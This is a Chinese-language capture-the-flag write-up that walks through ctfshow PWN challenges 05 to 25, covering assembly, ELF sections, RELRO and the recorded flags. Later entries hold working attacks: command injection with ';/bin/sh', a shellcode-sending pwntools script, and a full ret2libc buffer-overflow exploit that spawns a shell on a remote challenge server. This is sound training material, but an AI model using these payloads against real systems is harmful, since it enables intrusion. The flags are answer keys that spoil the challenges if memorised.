PWN 基础篇 Write Up

news/2024/5/20 0:36:50 标签: CTF, PWN

PWN 05

解题过程

给了两个文件,一个是asm后缀,汇编代码文件,另外一个file看看,32位i静态编译可执行文件

分析一下汇编代码,里面包含有两个节,data节

该代码片段只展示了数据段的一部分,缺少了完整的汇编程序。要正确运行该程序,还需要包含代码段(.text)以及适当的入口点(如 start 标签)。此外,还需要将程序链接为可执行文件并在相应的环境中运行。

查看ELF文件的汇编,只有text节

需要把这两个拼起来

需要先把asm文件编译为对象 .o 文件

nasm -f elf Welcome_to_CTFshow.asm

-f elf 选项指定了目标文件的格式为 ELF(Executable and Linkable Format) 

将对象文件链接成可执行文件
ld -m elf_i386 -s -o Welcome_to_CTFshow Welcome_to_CTFshow.o

  1. -m elf_i386 选项指定了目标文件的架构为 32 位 x86 架构。
  2. -s 选项表示在生成可执行文件时剥离符号表和调试信息,以减小可执行文件的大小。
  3. -o Welcome_to_CTFshow 选项指定了生成的可执行文件的名称为 Welcome_to_CTFshow
  4. Welcome_to_CTFshow.o 是待链接的目标文件。
这将生成一个名为 Welcome_CTFshow 的可执行文件。
使用IDA分析一下该文件,就是一些寄存器相关的操作,其中存储了一个字符串
根据提示:

得到flag: ctfshow{Welcome_to_CTFshow_PWN}

总结归纳

.data 信息

相关信息汇总:

  • 第一句 .data:080490E8 _data segment dword public 'DATA' use32 定义了一个名为 _data 的数据段。segment 关键字用于声明一个新的段,dword 表示每个数据元素的大小为 4 字节,public 表示该段可以在其他模块中访问,'DATA' 是标识符,用于标识数据段。
  • 第二句 .data:080490E8 assume cs:_data 则是将代码段(.text)的默认段寄存器 cs 和数据段(.data)的 _data 段寄存器进行关联。assume 关键字用于指定段寄存器与段的关系,在这里它指定了 cs 寄存器与 _data 段寄存器的关联。
  • 通过这两句指令,我们可以确保在程序运行时,使用 cs 寄存器来访问 _data 段。这样可以方便地在代码中使用 _data 段中的数据。
  • 在这个数据段中,有一个名为 aWelcomeToCtfsh 的字符串变量,其内容为 'Welcome_to_CTFshow_PWN',末尾以空字符(\0)结尾。

.text 信息

相关信息汇总:

  • .text:08048080 _text segment para public 'CODE' use32 定义了一个名为 _text 的代码段。segment 关键字用于声明一个新的段,para 表示段的对齐方式为段对齐,public 表示该段可以在其他模块中访问,'CODE' 是标识符,用于标识代码段。

  • .text:08048080 assume cs:_text 将代码段(.text)的默认段寄存器 cs_text 段寄存器进行关联。

  • .text:08048080 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing 指定其他段寄存器与相应的段之间的关联关系。在这里,esssfsgs 寄存器与空值(nothing)关联,而 ds 寄存器与数据段(.data)的 _data 段关联。

  • .text:08048080 public start 声明 start 标号为公共标号,以便其他模块可以引用它。

  • .text:08048080 start proc near 定义了一个名为 start 的过程(procedure)。near 表示该过程是近调用,即在同一代码段内。

  • Segment type: Pure code 表示该段是一个纯代码段,用于存放可执行的机器指令。

  • Segment permissions: Read/Execute 表示该段的访问权限为只读和可执行。

LOAD 信息

相关信息如下:

  • LOAD:08048000 ; Segment type: Pure code 表示该段是一个纯代码段,用于存放可执行的机器指令。

  • LOAD:08048000 ; Segment permissions: Read/Execute 表示该段的访问权限为只读和可执行。这意味着程序可以从该代码段中读取指令并执行它们,但不能对该段进行写入操作。这有助于确保代码的安全性和一致性,防止意外修改代码段的内容。

  • LOAD:08048000 LOAD segment mempage public 'CODE' use32 定义了一个名为 LOAD 的代码段。segment 关键字用于声明一个新的段,mempage 表示段对齐方式为内存页对齐,public 表示该段可以在其他模块中访问,'CODE' 是标识符,用于标识代码段。

  • LOAD:08048000 assume cs:LOAD 将代码段(LOAD)的默认段寄存器 csLOAD 段寄存器进行关联。

  • LOAD:08048000 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing 指定其他段寄存器与相应的段之间的关联关系。在这里,esssfsgs 寄存器与空值(nothing)关联,而 ds 寄存器与数据段(.data)的 _data 段关联。

TIPS:eax,寄存器作为操作数本身就有取值的意思,[eax]表示eax值作为地址再取值

PWN 06

解题过程

代码还是pwn05的

flag:ctfshow{114514}  

总结归纳

参pwn 05

PWN 07

解题过程

flag:ctfshow{0x36D}

总结归纳

参pwn 05

PWN 08

解题过程

flag:ctfshow{0x80490E8}

总结归纳

参pwn 05

PWN 09

解题过程

flag:ctfshow{0x636C6557}

总结归纳

参pwn 05

PWN 10

解题过程

flag:ctfshow{ome_to_CTFshow_PWN}

总结归纳

参pwn 05

PWN 11

解题过程

flag:ctfshow{ome_to_CTFshow_PWN}

总结归纳

参pwn 05

PWN 12

解题过程

flag:ctfshow{ome_to_CTFshow_PWN}

总结归纳

参pwn 05

PWN 13

解题过程

C文件代码很简单,不多解释

编译后运行,得到flag:ctfshow{hOw_t0_us3_GCC?}

总结归纳

由于 flag 数组 的最后一个元素为零(NULL 字符), printf 函数会将其之前的字符依次打印,直到遇到 NULL 字符为止。

PWN 14

解题过程

C源码如下:

#include <stdio.h>
#include <stdlib.h>

#define BUFFER_SIZE 1024

// 该程序的作用是将二进制文件中的内容转换为二进制字符串形式,并以特定格式输出。

int main() {
    // 声明了一个指向 FILE 类型结构体的指针 fp,用于表示文件指针
    FILE *fp;

    // 声明了一个无符号字符数组 buffer,作为读取文件内容的缓冲区。
    unsigned char buffer[BUFFER_SIZE];

    // 声明了一个 size_t 类型的变量 n,用于记录每次读取的字节数。
    size_t n;

    // 使用 fopen 函数以二进制只读模式打开名为 "key" 的文件
    fp = fopen("key", "rb");

    // 如果打开失败,则输出错误信息 "Nothing here!",并返回 -1 表示程序异常退出
    if (fp == NULL) {
        perror("Nothing here!");
        return -1;
    }

    // 声明了一个字符数组 output,用于存储最终的输出结果。数组大小为 BUFFER_SIZE * 9 + 12,留出足够的空间存储转换后的二进制数据。
    char output[BUFFER_SIZE * 9 + 12];

    // 声明了一个整型变量 offset,用于记录 output 数组的当前位置。
    int offset = 0;

    // 将字符串 "ctfshow{" 追加到 output 数组中,并更新 offset 的值。
    offset += sprintf(output + offset, "ctfshow{");

    // 进入一个循环,条件为每次调用 fread 函数成功读取了 BUFFER_SIZE 个字节
    while ((n = fread(buffer, sizeof(unsigned char), BUFFER_SIZE, fp)) > 0) {
        // 使用一个嵌套的循环遍历读取到的字节 buffer[i] 的每一位:
        for (size_t i = 0; i < n; i++) {
            // 从高位到低位依次获取每一位的值,并通过 (buffer[i] >> j) & 1 将其转换为 0 或 1。
            for (int j = 7; j >= 0; j--) {
                // 使用 sprintf 将转换后的值追加到 output 中,并更新 offset。
                offset += sprintf(output + offset, "%d", (buffer[i] >> j) & 1);
            }
            // 如果当前不是字节的最后一位,则在 output 中追加下划线 "_"。
            if (i != n - 1) {
                offset += sprintf(output + offset, "_");
            }
        }
        // 如果文件指针还未到达文件末尾(即 !feof(fp)),则在 output 中追加空格。
        if (!feof(fp)) {
            offset += sprintf(output + offset, " ");
        }
    }
    // 循环结束后,在 output 的末尾追加 "}" 字符串,并更新 offset 的值。
    offset += sprintf(output + offset, "}");
    // 使用 printf 函数打印输出结果 output
    printf("%s\n", output);
    // 关闭文件指针 fp
    fclose(fp);
    return 0;
}

按照代码要求把 CTFSHOW 写入到 Key 文件

总结归纳

PWN 15

解题过程

汇编代码分析如下:

这段代码是一个使用x86汇编语言编写的程序,用于在标准输出上打印一串特定格式的字符串。要将这段代码编译为可执行文件,使用汇编器和链接器进行以下步骤:

使用以下命令将汇编代码编译为目标文件:

nasm -f elf flag.asm -o flag.o

使用以下命令将目标文件链接为可执行文件:

ld -m elf_i386 -o flag flag.o

运行此文件

执行后,它会在标准输出上打印出flag。ctfshow{@ss3mb1y_1s_3@sy}

总结归纳

编译和执行汇编代码可能依赖于所使用的操作系统和体系结构。上述步骤适用于使用 NASM 汇编器和 ld 链接器的 32 x86 系统。

PWN 16

解题过程

总结归纳

.s 文件是汇编语言源文件的一种常见扩展名。它包含了使用汇编语言编写的程序代码。汇编语言是一种低级编程语言,用于直接操作计算机的指令集架构。.s 文件通常由汇编器(Assembler)处理,将其转换为可执行文件或目标文件。

可以使用gcc命令直接编译汇编语言源文件(.s 文件)并将其链接为可执行文件。gcc命令具有适用于多种语言的编译器驱动程序功能,它可以根据输入文件的扩展名自动选择适当的编译器和链接器。
 

PWN 17

解题过程

file chechsec 64位动态链接库文件,保护全开

IDA分析核心代码

选择3,不出货

选择2 ,利用命令拼接的方式 getshell

dest 4 个字节 buf10个字节

会从输入的数据读取10字节,strcat 函数用于将源字符串(buf)的内容追加到目标字符串(dest)的末尾。这样可以将两个字符串连接在一起,形成一个新的字符串。

经过测试,buf会全部拼接到dest的后面,4长度没有任何限制作用

构造pyload,长度需要小于10

;/bin/sh 

读取flag   ctfshow{7f0cdab9-77af-48ac-8a24-f2d2e13e97e4}

总结归纳

Linux命令拼接

在Linux命令中,分号(;)用于分隔多个命令,允许在一行上顺序执行多个命令。

当使用分号(;)将命令连接在一起时,它们按照从左到右的顺序逐个执行,无论前面的命令是否成功。这意味着无论前一个命令是否成功执行,后续的命令都将被执行。

或者也可以使用&将两条命令拼接在一起可以实现并行执行,即这两条命令将同时在后台执行。命令之间使用&进行分隔。

通过使用 & 将它们连接起来,它们将同时在后台 执行。这种方式下命令的输出可能会相互混合,具体的输出顺序取决于命令的执行速度和系统资源。

PWN 18

解题过程

file checksec 64位动态链接库文件,防护全开

IDA分析F5伪C代码

>>是追加写入 ;>是覆盖写入; 输入9,可得flag

总结归纳

system("echo 'flag is here '>>/ctfshow_f1ag");这个命令将字符串'flag is here'追加写入/ctfshow_flag文件中。>>符号表示以追加的方式写入文件,如果文件不存在则创建新文件。如果/ctfshow_flag 文件已经存在,那么该命令会在文件的末尾添加'flag is here'。

system("echo 'flag is here '>/ctfshow_f1ag");这个命令将字符串('flag is here'覆盖写入/ctfshow_flag文件中。>符号表示以覆盖的方式写入文件,如果文件不存在则创建新文件。如果/ctfshow_flag文件已经存在,那么该命令会将文件中原有的内容替换为'flag is here'。
 

PWN 19

解题过程

64位动态链接库,防护全开

IDA分析核心代码

代码解读:

if (fork()) : 这里使用 fork() 函数创建一个子进程。父进程中, fork() 返回子进程的进
ID ,所以进入 if 语句块;子进程中, fork() 返回 0 ,所以进入 else 语句块。
在父进程中,在父进程中: wait(OLL):父进程通过wait()函数等待子进程的结束,以确保子进程执行完毕。
  1. sleep(3u):父进程睡眠3秒钟。
  2. printf("fl1ag is not here! "):输出提示信息,表明flag不在此处。
在子进程中: puts("give you a she1l! now you need to get flag!"):输出提示信息,表示给予用户一个shell,让其获取flag.。
  1. fclose():关闭文件输出流。
  2. read(O,&buf,0x20uLL):从标准输入中读取用户输入的命令,并存储在buf中。
  3. system(&buf):执行用户输入的命令。

利用1>&0输出重定向

exec cat /ctf* 1>&0

得到flag

总结归纳

fork()函数

fork 是一个系统调用函数,用于创建一个新的进程。调用 fork 函数后,操作系统会复制当前进程的内存和资源,并创建一个新的子进程。新的子进程和原始进程几乎是完全一样的,包括代码、数据、打开的文件、信号处理等。

返回值:在父进程中返回子进程的进程ID,即子进程的PID;在子进程中返回0;如果出错则返回-1。

fork 函数的基本工作原理:

  1. fork 被调用时,操作系统创建一个新的进程(子进程)。
  2. 父进程的所有内容,包括代码、数据、打开的文件等都会被复制给子进程。子进程和父进程独立运行,各自有自己的地址空间。
  3. 父进程和子进程的代码从 fork 函数后的那一行开始执行,但有一个重要的区别:在父进程中,fork 函数返回子进程的 PID(大于0),而在子进程中,fork 函数返回0。
  4. 由于子进程是父进程的复制品,所以两者执行的程序代码是相同的,但是可以通过 fork 返回值的不同来区分不同的行为。

利用exec函数输出重定向

可以使用了 exec 函数来执行 shell   命令,并使用 1>&0 来进行输出重定向。这个命令将标准输出
重定向到标准输入,实际上就是将命令的输出发送到后续命令的输入。
1>&0中的1表示标准输出,0表示标准输入。通过将标准输出重定向到标准输入,可以实现将命令的输出作为后续命令的输入。这样可以在执行sh命令后,进入一个交互式的Shell环境,可以在该环境中执行命令并与用户进行交互。
可以利用这个把输出内容打印出来,可以直接exec cat /ctf* 1>&0 将 cat /ctf* 命令的输出发送到标准输入,实际上就是将命令的输出再次输出到屏幕上。

PWN 20

解题过程

64位可执行文件,只开启NX保护,RELRO是关闭的

查看程序的动态重定位表的内容,这对于分析程序的动态链接行为、符号解析过程以及共享库的使用情况等非常有用

objdump -R pwn

查看文件中所有节的信息。这对于了解文件的结构,包括代码段、数据段、符号表、重定位表等的布局非常有帮助。

readelf -S pwn

There are 29 section headers, starting at offset 0x1878:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         0000000000400200  00000200
       000000000000001c  0000000000000000   A       0     0     1
  [ 2] .note.ABI-tag     NOTE             000000000040021c  0000021c
       0000000000000020  0000000000000000   A       0     0     4
  [ 3] .note.gnu.build-i NOTE             000000000040023c  0000023c
       0000000000000024  0000000000000000   A       0     0     4
  [ 4] .gnu.hash         GNU_HASH         0000000000400260  00000260
       000000000000001c  0000000000000000   A       5     0     8
  [ 5] .dynsym           DYNSYM           0000000000400280  00000280
       0000000000000090  0000000000000018   A       6     1     8
  [ 6] .dynstr           STRTAB           0000000000400310  00000310
       000000000000004b  0000000000000000   A       0     0     1
  [ 7] .gnu.version      VERSYM           000000000040035c  0000035c
       000000000000000c  0000000000000002   A       5     0     2
  [ 8] .gnu.version_r    VERNEED          0000000000400368  00000368
       0000000000000020  0000000000000000   A       6     1     8
  [ 9] .rela.dyn         RELA             0000000000400388  00000388
       0000000000000030  0000000000000018   A       5     0     8
  [10] .rela.plt         RELA             00000000004003b8  000003b8
       0000000000000048  0000000000000018  AI       5    22     8
  [11] .init             PROGBITS         0000000000400400  00000400
       0000000000000017  0000000000000000  AX       0     0     4
  [12] .plt              PROGBITS         0000000000400420  00000420
       0000000000000040  0000000000000010  AX       0     0     16
  [13] .text             PROGBITS         0000000000400460  00000460
       0000000000000252  0000000000000000  AX       0     0     16
  [14] .fini             PROGBITS         00000000004006b4  000006b4
       0000000000000009  0000000000000000  AX       0     0     4
  [15] .rodata           PROGBITS         00000000004006c0  000006c0
       000000000000053a  0000000000000000   A       0     0     8
  [16] .eh_frame_hdr     PROGBITS         0000000000400bfc  00000bfc
       000000000000003c  0000000000000000   A       0     0     4
  [17] .eh_frame         PROGBITS         0000000000400c38  00000c38
       0000000000000100  0000000000000000   A       0     0     8
  [18] .init_array       INIT_ARRAY       0000000000600d38  00000d38
       0000000000000008  0000000000000008  WA       0     0     8
  [19] .fini_array       FINI_ARRAY       0000000000600d40  00000d40
       0000000000000008  0000000000000008  WA       0     0     8
  [20] .dynamic          DYNAMIC          0000000000600d48  00000d48
       00000000000001d0  0000000000000010  WA       6     0     8
  [21] .got              PROGBITS         0000000000600f18  00000f18
       0000000000000010  0000000000000008  WA       0     0     8
  [22] .got.plt          PROGBITS         0000000000600f28  00000f28
       0000000000000030  0000000000000008  WA       0     0     8
  [23] .data             PROGBITS         0000000000600f58  00000f58
       0000000000000010  0000000000000000  WA       0     0     8
  [24] .bss              NOBITS           0000000000600f68  00000f68
       0000000000000008  0000000000000000  WA       0     0     1
  [25] .comment          PROGBITS         0000000000000000  00000f68
       0000000000000029  0000000000000001  MS       0     0     1
  [26] .symtab           SYMTAB           0000000000000000  00000f98
       00000000000005e8  0000000000000018          27    43     8
  [27] .strtab           STRTAB           0000000000000000  00001580
       00000000000001f1  0000000000000000           0     0     1
  [28] .shstrtab         STRTAB           0000000000000000  00001771
       0000000000000103  0000000000000000           0     0     1
 

找到 .got : 0x600f18        .got.plt:0x600f28

52454C52 实际上是 RELRO 的 ASCII 字符表示。将其转换为字符串,可以得到 RELRO。可写

ctfshow{1_1_0x600f18_0x600f28}

总结归纳

RELRO (RELocation Read-Only)是一种可选的二进制保护机制,用于增加程序的安全性。它主要通过限制和保护全局偏移表(Global Offset Table,简称GOT)和过程链接表(Procedure LinkageTable,简称PLT)的可写性来防止针对这些结构的攻击。

RELRO保护有三种状态:

  1. No RELRO:在这种状态下,GOT和PLT都是可写的,意味着攻击者可以修改这些表中的指针,从而进行攻击。这是最弱的保护状态。
  2. Partial RELRO:在这种状态下,GOT的开头部分被设置为只读(RO),而剩余部分仍然可写。这样可以防止一些简单的攻击,但仍存在一些漏洞。
  3. Full RELRO:在这种状态下,GOT和PLT都被设置为只读(RO)。这样做可以防止对这些结构的修改,提供更强的保护。任何对这些表的修改都会导致程序异常终止。
     

PWN 21

解题过程

checksec 64位ELF可执行文件,开了保护,可以看到RELRO保护部分开启了

查看重定位表
objdump -R pwn
可以看到两种符号的 OFFSET 不在一页(大小为 0x1000 字节)上,权限就有可能不同

查看节信息,看不出啥东西

readelf -S pwn

There are 29 section headers, starting at offset 0x1950:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         0000000000400238  00000238
       000000000000001c  0000000000000000   A       0     0     1
  [ 2] .note.ABI-tag     NOTE             0000000000400254  00000254
       0000000000000020  0000000000000000   A       0     0     4
  [ 3] .note.gnu.build-i NOTE             0000000000400274  00000274
       0000000000000024  0000000000000000   A       0     0     4
  [ 4] .gnu.hash         GNU_HASH         0000000000400298  00000298
       000000000000001c  0000000000000000   A       5     0     8
  [ 5] .dynsym           DYNSYM           00000000004002b8  000002b8
       0000000000000090  0000000000000018   A       6     1     8
  [ 6] .dynstr           STRTAB           0000000000400348  00000348
       000000000000004b  0000000000000000   A       0     0     1
  [ 7] .gnu.version      VERSYM           0000000000400394  00000394
       000000000000000c  0000000000000002   A       5     0     2
  [ 8] .gnu.version_r    VERNEED          00000000004003a0  000003a0
       0000000000000020  0000000000000000   A       6     1     8
  [ 9] .rela.dyn         RELA             00000000004003c0  000003c0
       0000000000000030  0000000000000018   A       5     0     8
  [10] .rela.plt         RELA             00000000004003f0  000003f0
       0000000000000048  0000000000000018  AI       5    22     8
  [11] .init             PROGBITS         0000000000400438  00000438
       0000000000000017  0000000000000000  AX       0     0     4
  [12] .plt              PROGBITS         0000000000400450  00000450
       0000000000000040  0000000000000010  AX       0     0     16
  [13] .text             PROGBITS         0000000000400490  00000490
       0000000000000252  0000000000000000  AX       0     0     16
  [14] .fini             PROGBITS         00000000004006e4  000006e4
       0000000000000009  0000000000000000  AX       0     0     4
  [15] .rodata           PROGBITS         00000000004006f0  000006f0
       000000000000053a  0000000000000000   A       0     0     8
  [16] .eh_frame_hdr     PROGBITS         0000000000400c2c  00000c2c
       000000000000003c  0000000000000000   A       0     0     4
  [17] .eh_frame         PROGBITS         0000000000400c68  00000c68
       0000000000000100  0000000000000000   A       0     0     8
  [18] .init_array       INIT_ARRAY       0000000000600e10  00000e10
       0000000000000008  0000000000000008  WA       0     0     8
  [19] .fini_array       FINI_ARRAY       0000000000600e18  00000e18
       0000000000000008  0000000000000008  WA       0     0     8
  [20] .dynamic          DYNAMIC          0000000000600e20  00000e20
       00000000000001d0  0000000000000010  WA       6     0     8
  [21] .got              PROGBITS         0000000000600ff0  00000ff0
       0000000000000010  0000000000000008  WA       0     0     8
  [22] .got.plt          PROGBITS         0000000000601000  00001000
       0000000000000030  0000000000000008  WA       0     0     8
  [23] .data             PROGBITS         0000000000601030  00001030
       0000000000000010  0000000000000000  WA       0     0     8
  [24] .bss              NOBITS           0000000000601040  00001040
       0000000000000008  0000000000000000  WA       0     0     1
  [25] .comment          PROGBITS         0000000000000000  00001040
       0000000000000029  0000000000000001  MS       0     0     1
  [26] .symtab           SYMTAB           0000000000000000  00001070
       00000000000005e8  0000000000000018          27    43     8
  [27] .strtab           STRTAB           0000000000000000  00001658
       00000000000001f1  0000000000000000           0     0     1
  [28] .shstrtab         STRTAB           0000000000000000  00001849
       0000000000000103  0000000000000000           0     0     1
 

查看程序头,可以看到程序头多了GNU_RELRO,将.dynamic .got标记为只读权限(R),那么在重定向完成后,动态链接器就会将这个区域保护起来。

readelf -l pwn

Elf file type is EXEC (Executable file)
Entry point 0x400490
There are 9 program headers, starting at offset 64

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040
                 0x00000000000001f8 0x00000000000001f8  R      0x8
  INTERP         0x0000000000000238 0x0000000000400238 0x0000000000400238
                 0x000000000000001c 0x000000000000001c  R      0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
                 0x0000000000000d68 0x0000000000000d68  R E    0x200000
  LOAD           0x0000000000000e10 0x0000000000600e10 0x0000000000600e10
                 0x0000000000000230 0x0000000000000238  RW     0x200000
  DYNAMIC        0x0000000000000e20 0x0000000000600e20 0x0000000000600e20
                 0x00000000000001d0 0x00000000000001d0  RW     0x8
  NOTE           0x0000000000000254 0x0000000000400254 0x0000000000400254
                 0x0000000000000044 0x0000000000000044  R      0x4
  GNU_EH_FRAME   0x0000000000000c2c 0x0000000000400c2c 0x0000000000400c2c
                 0x000000000000003c 0x000000000000003c  R      0x4
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RW     0x10
  GNU_RELRO      0x0000000000000e10 0x0000000000600e10 0x0000000000600e10
                 0x00000000000001f0 0x00000000000001f0  R      0x1

/*  最下面是段与节的映射表,可以看出可执行文件的各个段所包含的节。 */

 Section to Segment mapping:
  Segment Sections...
   00     
   01     .interp 
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 
   03     .init_array .fini_array .dynamic .got .got.plt .data .bss 
   04     .dynamic 
   05     .note.ABI-tag .note.gnu.build-id 
   06     .eh_frame_hdr 
   07     
   08     .init_array .fini_array .dynamic .got 

在写 .got 表的时候就会抛出异常,而写 .got.plt 依旧正常

总结归纳

重定位表在链接时发挥作用,这些记录表示了程序运行时需要进行的动态链接和重定位操作,以便正确解析和连接依赖的函数、变量等符号。

  1. VALUE(值):指示符号的最终地址或值。
  2. OFFSET(偏移地址):指示需要进行重定位的目标地址在可执行文件中的偏移量或位置。
  3. TYPE(重定位类型):指示需要进行的具体重定位操作

解释一下第一条:__libc_start_main 的偏移地址应该是 0000000000600ff0,需要进行 R_X86_64_GLOB_DAT 类型的重定位。

R_X86_64_GLOB_DAT:全局数据重定位

R_X86_64_JUMP_SLOT:调用函数的实际跳转地址

PWN 22

解题过程

checksec , 64位现在完全开启了RELRO保护

程序的重定位表,程序头都没变化

查看节信息

There are 28 section headers, starting at offset 0x1900:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         0000000000400238  00000238
       000000000000001c  0000000000000000   A       0     0     1
  [ 2] .note.ABI-tag     NOTE             0000000000400254  00000254
       0000000000000020  0000000000000000   A       0     0     4
  [ 3] .note.gnu.build-i NOTE             0000000000400274  00000274
       0000000000000024  0000000000000000   A       0     0     4
  [ 4] .gnu.hash         GNU_HASH         0000000000400298  00000298
       000000000000001c  0000000000000000   A       5     0     8
  [ 5] .dynsym           DYNSYM           00000000004002b8  000002b8
       0000000000000090  0000000000000018   A       6     1     8
  [ 6] .dynstr           STRTAB           0000000000400348  00000348
       000000000000004b  0000000000000000   A       0     0     1
  [ 7] .gnu.version      VERSYM           0000000000400394  00000394
       000000000000000c  0000000000000002   A       5     0     2
  [ 8] .gnu.version_r    VERNEED          00000000004003a0  000003a0
       0000000000000020  0000000000000000   A       6     1     8
  [ 9] .rela.dyn         RELA             00000000004003c0  000003c0
       0000000000000030  0000000000000018   A       5     0     8
  [10] .rela.plt         RELA             00000000004003f0  000003f0
       0000000000000048  0000000000000018  AI       5    21     8
  [11] .init             PROGBITS         0000000000400438  00000438
       0000000000000017  0000000000000000  AX       0     0     4
  [12] .plt              PROGBITS         0000000000400450  00000450
       0000000000000040  0000000000000010  AX       0     0     16
  [13] .text             PROGBITS         0000000000400490  00000490
       0000000000000252  0000000000000000  AX       0     0     16
  [14] .fini             PROGBITS         00000000004006e4  000006e4
       0000000000000009  0000000000000000  AX       0     0     4
  [15] .rodata           PROGBITS         00000000004006f0  000006f0
       000000000000053a  0000000000000000   A       0     0     8
  [16] .eh_frame_hdr     PROGBITS         0000000000400c2c  00000c2c
       000000000000003c  0000000000000000   A       0     0     4
  [17] .eh_frame         PROGBITS         0000000000400c68  00000c68
       0000000000000100  0000000000000000   A       0     0     8
  [18] .init_array       INIT_ARRAY       0000000000600dc0  00000dc0
       0000000000000008  0000000000000008  WA       0     0     8
  [19] .fini_array       FINI_ARRAY       0000000000600dc8  00000dc8
       0000000000000008  0000000000000008  WA       0     0     8
  [20] .dynamic          DYNAMIC          0000000000600dd0  00000dd0
       00000000000001f0  0000000000000010  WA       6     0     8
  [21] .got              PROGBITS         0000000000600fc0  00000fc0
       0000000000000040  0000000000000008  WA       0     0     8
  [22] .data             PROGBITS         0000000000601000  00001000
       0000000000000010  0000000000000000  WA       0     0     8
  [23] .bss              NOBITS           0000000000601010  00001010
       0000000000000008  0000000000000000  WA       0     0     1
  [24] .comment          PROGBITS         0000000000000000  00001010
       0000000000000029  0000000000000001  MS       0     0     1
  [25] .symtab           SYMTAB           0000000000000000  00001040
       00000000000005d0  0000000000000018          26    42     8
  [26] .strtab           STRTAB           0000000000000000  00001610
       00000000000001f1  0000000000000000           0     0     1
  [27] .shstrtab         STRTAB           0000000000000000  00001801
       00000000000000fa  0000000000000000           0     0     1
可以看到已经没有了 .got.plt, 而且 .got 也是不可写的

故flag:ctfshow{0_0_0x600fc0}

总结归纳

PWN 23

解题过程

checksec,32位开启NX保护,部分开启RELRO保护,可执行文件

IDA分析F5伪C代码

  1. 首先,程序尝试打开名为"/ctfshow_flag"的文件,并将文件指针赋值给stream变量。如果打开文件失败(文件不存在或无法访问),程序输出错误消息并终止。
  2. 如果成功打开文件,程序使用fgets i函数从文件中读取最多64个字符到名为flag的缓冲区。
  3. 程序输出提示消息:"How to input ?"。
  4. 如果程序运行时传入了命令行参数(argc大于1),则调用ctfshow函数,并将第一个命令行参数作为参数传递给该函数。
  5. ctfshow函数很简单,它接受一个字符串参数src,并使用strcpy函数将该字符串复制到名为dest的缓冲区中。然后,它返回指向dest缓冲区的指针。

然后这道题和代码没啥太大关系,就是想告诉你有栈溢出漏洞这个东西

输入参数只要满足大于1,就调用ctfshow函数,并且把第一个命令行参数(也就是我们输入的)作为参数传递给函数

总结归纳

后面的几道题应该是为了介绍bypass的手法

当未开启 Canary 保护时,输入字符串长度超过了 dest 缓冲区的大小,这可能
导致缓冲区溢出漏洞。

PWN 24

解题过程

checksec 32位只开始部分RELRO保护,可以看到可读可写可执行的段

在IDA中分析程序

  1. 函数开始时进行一些栈操作,保存寄存器的值。
  2. 调用_x86_get_pc_thunk_bx函数,获取当前的指令位置并存储在ebx寄存器中。
  3. 分配Ox84字节的空间用于缓冲区,存储用户输入的数据。
  4. 调用read函数,从标准输入读取数据,并存储到缓冲区。
  5. 调用puts函数,将缓冲区的内容打印到标准输出。
  6. 通过调用ca1l eax指令,以eax寄存器的值作为函数指针,跳转到缓冲区中存储的地址执行
  7. 之后是一些清理工作和函数返回的准备操作。
     

看不出有啥作用,但是题目提示可以使用pwntoolsshellcraft模块进行攻击

she11craft模块是 pwntoo1s库中的一个子模块,用于生成各种不同体系结构的Shellcode。Shellcode是一段以二进制形式编写的代码,用于利用软件漏洞、执行特定操作或获取系统权限。she11craft 模块提供了一系列函数和方法,用于生成特定体系结构下的 Shellcode。

exp.py

from pwn import * # 导入 pwntools 库
context.log_level = 'debug' # 设置日志级别为调试模式,可以打印信息到shell中
#io = process('./pwn') # 本地连接
io = remote("pwn.challenge.ctf.show", 28112) # 远程连接
shellcode = asm(shellcraft.sh()) # 生成一个 Shellcode
io.sendline(shellcode) # 将生成的 Shellcode 发送到目标主机
io.interactive() # 与目标主机进行交互

会返回一个shell

总结归纳

题目想传达的应该是这个意思:通过调用ca1l eax指令,以eax寄存器的值作为函数指针,跳转到缓冲区中存储的地址执行,可以尝试使用pwntools的shellcraft模块来进行攻击

PWN 25

解题过程

checksec 32位开启NX保护,部分开启RELRO保护

具体攻击手法为: ret2libc
(即先找到栈溢出漏洞,通过write函数泄露write函数的真实地址,根据泄露的 write函数地址,使用Libcsearcher来搜索libc库中相应的函数地址和字符串地址,获取(system函数和"/bin/sh”字符串的地址。构造新的payload,使用泄露的system函数和"/bin/sh”字符串的地址来进行get shell)
exp.py
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#io = process('./pwn')
#io = remote('127.0.0.1',10000)
io = remote("pwn.challenge.ctf.show", 28177)
elf = ELF('./pwn')
main = elf.sym['main']
write_got = elf.got['write']
write_plt = elf.plt['write']
payload = cyclic(0x88+0x4) + p32(write_plt) + p32(main) + p32(0) +
p32(write_got) + p32(4)
io.sendline(payload)
write = u32(io.recv(4))
print hex(write)
libc = LibcSearcher('write',write)
libc_base = write - libc.dump('write')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = cyclic(0x88+0x4) + p32(system) + p32(main) + p32(bin_sh)
io.sendline(payload)
io.interactive()

要选择好正确的版本很重要

拿flag

总结归纳

开启NX保护,部分开启RELRO保护,可以使用 ret2libc 进行攻击

